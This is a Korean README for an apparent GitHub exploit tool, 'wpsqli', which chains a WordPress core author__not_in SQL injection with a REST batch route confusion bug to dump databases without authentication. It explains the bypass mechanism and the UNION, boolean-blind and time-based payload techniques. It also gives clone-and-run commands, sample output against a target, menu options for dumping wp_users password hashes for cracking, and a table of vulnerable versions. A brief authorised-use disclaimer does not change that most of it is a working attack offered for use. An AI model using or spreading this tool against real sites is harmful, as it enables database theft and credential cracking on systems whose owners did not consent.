
wpsqli full SQLi extractor + dumper for CVE-2026-60137
WordPress 코어의
author__not_inSQL 인젝션 취약점을 악용하는 빠르고 메뉴 기반의 데이터베이스 추출 도구입니다. 이 도구는 REST 배치 라우트 혼동(CVE-2026-63030)을 활용해 인증 없이 SQLi 싱크에 도달하여, 순수하게 데이터베이스 열거와 덤프에 집중합니다.
wpsqli는 WordPress 코어의 체인 취약점을 악용하여 인증 없이 데이터베이스에 SQL 인젝션을 수행할 수 있게 해주는 순수 Python 도구입니다. 배치 라우트 혼동(batch route confusion) 버그를 통해 WordPress REST API 검증을 우회하여 원시 문자열 페이로드를 WP_Query SQL 싱크에 직접 전달합니다.
이 도구는 속도와 유연성을 위해 설계되었습니다. 자동으로 UNION 기반 인밴드(in-band) 추출(즉시)을 시도하고, 실패하면 8-스레드 병렬 boolean-blind 추출로 전환하며, 필요 시 마지막으로 순차적 시간 기반(time-based) 추출을 사용합니다.
이 도구는 인증 없는 데이터베이스 추출을 위해 두 개의 독립적인 취약점을 체인으로 연결합니다:
author__not_in SQL 인젝션 (CVE-2026-60137)위치: wp-includes/class-wp-query.php, WP_Query::get_posts()
author__not_in 매개변수는 입력이 배열(array)인 경우에만 absint() 정화(sanitization)를 적용합니다. 문자열이 전달되면 is_array() 가드를 건너뛰고, 문자열은 변경 없이 implode()를 통과한 뒤 SQL $where 절에 원시(raw) 상태로 연결됩니다.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
REST API posts 엔드포인트는 author_exclude를 author__not_in에 매핑하지만 이를 정수 type => 'array'로 선언하므로, 코어는 문자열을 강제 변환하거나 거부합니다. Bug B는 REST 배치 엔드포인트(/wp-json/batch/v1)의 역동기화(desynchronization) 버그를 악용하여 문자열을 검증 과정을 몰래 통과시킵니다. wp_parse_url()이 거부하는 잘못된 형식의 경로 프라이머(path primer)를 주입하면 WP_Error가 배치 요청 목록에 시드되어 $matches와 $validation의 동기화가 깨집니다. 이를 통해 뒤따르는 하위 요청이 매개변수 검증 없이 잘못된 핸들러로 전달될 수 있습니다.
주의사항: SQLi 싱크는 영구 객체 캐시(Redis/Memcached)가 사용 중이 아닐 때만 도달할 수 있습니다.
pip install 불필요.wp_posts 행을 위조하여 단일 HTTP 요청으로 전체 문자열을 추출합니다(즉시).Ctrl+C를 누르면 현재 쿼리를 중단하고 세션을 종료하지 않은 채 부분 결과를 반환합니다.hashcat -m 35500에 바로 사용할 수 있는 bcrypt 해시가 포함된 ID|user_login|user_pass 형식으로 출력됩니다.설치가 필요 없습니다. 다운로드하여 실행만 하면 됩니다:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
요구 사항:
대화형 메뉴를 실행합니다:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| 옵션 | 설명 |
|---|---|
0 | 대상에 연결(URL을 자동으로 정화) |
1 | 취약점 및 활성 추출 모드 확인 |
| 옵션 | 설명 |
|---|---|
9 | MySQL 서버의 모든 데이터베이스 나열 |
10 | 현재 또는 지정된 데이터베이스의 모든 테이블 나열 |
11 | 특정 테이블의 모든 컬럼 이름 나열 |
| 옵션 | 설명 |
|---|---|
12 | 단일 테이블 덤프(선택적 행 제한 및 파일 저장 포함) |
13 | 현재 데이터베이스의 모든 테이블 덤프 |
14 | 전체(nuclear) 덤프 — 모든 테이블 + 모든 행을 타임스탬프 파일로 |
이 도구는 속도 순서대로 세 가지 추출 모드를 자동으로 시도합니다:
post_title 컬럼에 추출된 값을 16진수로 인코딩(||..|| 마커로 감쌈)한 가짜 wp_posts 행을 위조합니다. REST API가 이를 응답에 그대로 반영합니다 — 단일 HTTP 요청으로 전체 문자열을 얻습니다.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) 사용UNION을 사용할 수 없으면 8개의 병렬 스레드와 이진 탐색으로 각 문자를 추출합니다. boolean 오라클은 주입된 AND (condition)이 행을 반환하는지 확인합니다.
boolean 오라클이 행을 반환하지 않을 때(예: 게시된 글이 0개인 사이트)의 폴백입니다. IF(condition, SLEEP(N), 0)을 사용하여 응답 지연 시간에 참/거짓을 인코딩합니다.
이 도구는 공인된 보안 테스트 및 교육 목적으로만 설계되었습니다. 이 도구는 본인이 소유했거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
이 도구의 저자와 기여자들은 이 소프트웨어로 인해 발생하는 오용이나 피해에 대해 책임을 지지 않습니다. 사용에 따른 책임은 사용자 본인에게 있습니다
이 도구는 교육 및 공인된 테스트 목적으로만 제공됩니다.
| 버전 범위 | 상태 |
|---|
| 6.8.0 – 6.8.5 | SQLi 버그 존재하지만 체인 도달 불가(배치 혼동은 6.9.0에서 도입됨) |
| 6.9.0 – 6.9.4 | 취약 — 전체 무인증 체인 |
| 7.0.0 – 7.0.1 | 취약 — 전체 무인증 체인 |
| 6.8.6 | 패치됨 (SQLi) |
| 6.9.5 | 패치됨 |
| 7.0.2 | 패치됨 |
| 7.1-beta2+ | 패치됨 |
| 옵션 | 설명 |
|---|
2 | MySQL 버전 추출 (SELECT @@version) |
3 | 현재 데이터베이스 이름 추출 (SELECT DATABASE()) |
4 | 현재 DB 사용자 추출 (SELECT CURRENT_USER()) |
5 | WordPress 테이블 접두어 추출 |
6 | wp_users 테이블 덤프 (ID, 로그인, 비밀번호 해시) |
7 | 사용자 정의 SQL 쿼리 실행 |
8 | 모든 핑거프린트를 순서대로 실행 (옵션 2-5) |
| 모드 | 쿼리당 요청 수 | 속도 | 사용 시점 |
|---|
| UNION | 1 | 즉시 | 객체 캐시 없음, 컬럼 수 일치 |
| Boolean (8 스레드) | ~7 × string_length / 8 | 빠름 | UNION 차단됨, 행 존재 |
| 시간 기반 | ~7 × sleep × string_length | 느림 | boolean 오라클용 행 없음 |
| 추출 항목 | 문자 수 | 요청 수 | 시간 |
|---|
| MySQL 버전 | ~20 | ~140 | ~15초 |
| 데이터베이스 이름 | ~15 | ~105 | ~12초 |
| DB 사용자 | ~25 | ~175 | ~20초 |
| 테이블 접두어 | ~5 | ~35 | ~5초 |
| wp_users 행 (200자) | 200 | ~1400 | ~2분 |